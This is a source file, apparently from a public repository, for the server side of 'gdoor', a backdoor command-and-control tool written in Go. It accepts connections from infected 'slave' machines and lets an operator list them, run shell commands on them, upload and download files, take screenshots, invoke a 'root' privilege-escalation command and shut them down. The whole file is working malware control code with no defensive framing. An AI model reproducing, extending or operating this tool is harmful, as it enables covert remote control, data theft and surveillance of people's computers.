-
Notifications
You must be signed in to change notification settings - Fork 2
/
server.go
203 lines (169 loc) · 4.76 KB
/
server.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
package main
import (
"bufio"
"fmt"
"io"
"net"
"os"
"strings"
"gdoor/config"
"gdoor/crypto"
"gdoor/service"
"gdoor/socket"
"github.com/fatih/color"
)
var socks = make(map[string]socket.Socket)
var socksUser = make(map[string]string)
func connHandler(token string, sock socket.Socket) {
reader := bufio.NewReader(os.Stdin)
for true {
fmt.Printf("%s%s%s%s",
color.HiYellowString(token),
color.HiWhiteString("@"),
color.HiMagentaString(strings.Split(sock.RemoteAddr().String(), ":")[0]),
color.HiWhiteString("$ "))
input, _ := reader.ReadString('\n')
input = strings.TrimSpace(input)
switch strings.Split(input, " ")[0] {
case "help":
fmt.Printf("\t%s\t\t%s\n", color.HiBlueString("help"), "Show this help message.")
fmt.Printf("\t%s\t%s\n", color.HiBlueString("shell $cmd"), "Execute shell command.")
fmt.Printf("\t%s\t%s\n", color.HiBlueString("cd $path"), "Chdir to $path.")
fmt.Printf("\t%s\t%s\n", color.HiBlueString("push $file"), "Send file to slave.")
fmt.Printf("\t%s\t%s\n", color.HiBlueString("pull $file"), "Receive file from slave.")
fmt.Printf("\t%s\t%s\n", color.HiBlueString("screenshot"), "Take a screenshot.")
fmt.Printf("\t%s\t\t%s\n", color.HiBlueString("root"), "get root privileges.")
fmt.Printf("\t%s\t%s\n", color.HiBlueString("shutdown"), "Kill the slave.")
fmt.Printf("\t%s\t\t%s\n", color.HiBlueString("quit"), "Detach this slave.")
continue
case "quit":
return
case "":
continue
case "push":
sock.Write([]byte(input))
cmds := strings.Split(input, "push")
cmds[1] = strings.TrimSpace(cmds[1])
ftokenB, _ := sock.Read()
ftoken := string(ftokenB)
socks[ftoken].SendFile(cmds[1])
socks[ftoken].Close()
delete(socks, ftoken)
case "pull":
sock.Write([]byte(input))
cmds := strings.Split(input, "pull")
cmds[1] = strings.TrimSpace(cmds[1])
ftokenB, _ := sock.Read()
ftoken := string(ftokenB)
socks[ftoken].RecvFile(cmds[1])
socks[ftoken].Close()
delete(socks, ftoken)
default:
sock.Write([]byte(input))
}
resp, err := sock.Read()
if err == io.EOF {
sock.Close()
delete(socks, token)
return
}
fmt.Println(strings.TrimRight(string(resp), "\n"))
}
return
}
func main() {
color.Yellow(" _ ")
color.Yellow(" __ _ __| | ___ ___ _ __ ")
color.Yellow(" / _` |/ _` |/ _ \\ / _ \\| '__|")
color.Yellow("| (_| | (_| | (_) | (_) | |")
color.Yellow(" \\__, |\\__,_|\\___/ \\___/|_| ")
color.Yellow(" |___/ ")
color.Yellow("")
// start file server
service.Service()
// start main server
server, err := net.Listen("tcp", config.ServerPort)
if err != nil {
color.HiRed("Fail to start server, %s", err)
return
}
// listen
go func() {
for {
conn, err := server.Accept()
if err != nil {
color.HiRed("Fail to connect, %s", err)
break
}
if conn != nil {
// build socket
sock, err := socket.Init(conn, config.Key, false)
if err != nil {
continue
}
// get client information
id, _ := sock.Read()
ids := strings.Split(string(id), ":") // TOKEN:USER
if len(ids) != 2 {
continue
}
token, user := ids[0], ids[1]
// generate socket and token
for {
if _, exist := socks[token]; !exist && token != "" {
socks[token] = sock
socksUser[token] = user
sock.Write([]byte(token))
break
}
token = crypto.RandStringBytesMaskImprSrc(8)
}
}
}
}()
// control panel
reader := bufio.NewReader(os.Stdin)
for {
fmt.Printf("%s%s ", color.HiGreenString("gdoor"), color.HiWhiteString(">"))
var command, reqToken string
command, _ = reader.ReadString('\n')
command = strings.TrimSpace(command)
switch strings.Split(command, " ")[0] {
case "help":
fmt.Printf("\t%s\t\t%s\n", color.HiBlueString("help"), "Show this help message.")
fmt.Printf("\t%s\t\t%s\n", color.HiBlueString("ls"), "List all slaves.")
fmt.Printf("\t%s\t%s\n", color.HiBlueString("c $token"), "Connect to specified slave.")
fmt.Printf("\t%s\t\t%s\n", color.HiBlueString("exit"), "Exit.")
case "ls":
for k, v := range socks {
v.Write([]byte("ping"))
resp, err := v.Read()
if err == io.EOF || string(resp) != "pong" {
v.Close()
delete(socks, k)
continue
}
fmt.Printf("%s %v [%s]\n", color.CyanString(k), v.RemoteAddr(), color.YellowString(socksUser[k]))
}
case "c":
commands := strings.Split(command, " ")
if len(commands) < 2 {
color.HiRed("Too few arguments.")
} else {
reqToken = commands[1]
if sock, exist := socks[reqToken]; exist {
connHandler(reqToken, sock)
} else {
color.HiRed("No such token.")
}
}
case "exit":
for _, v := range socks {
v.Close()
}
return
default:
color.HiRed("No such comand.")
}
}
}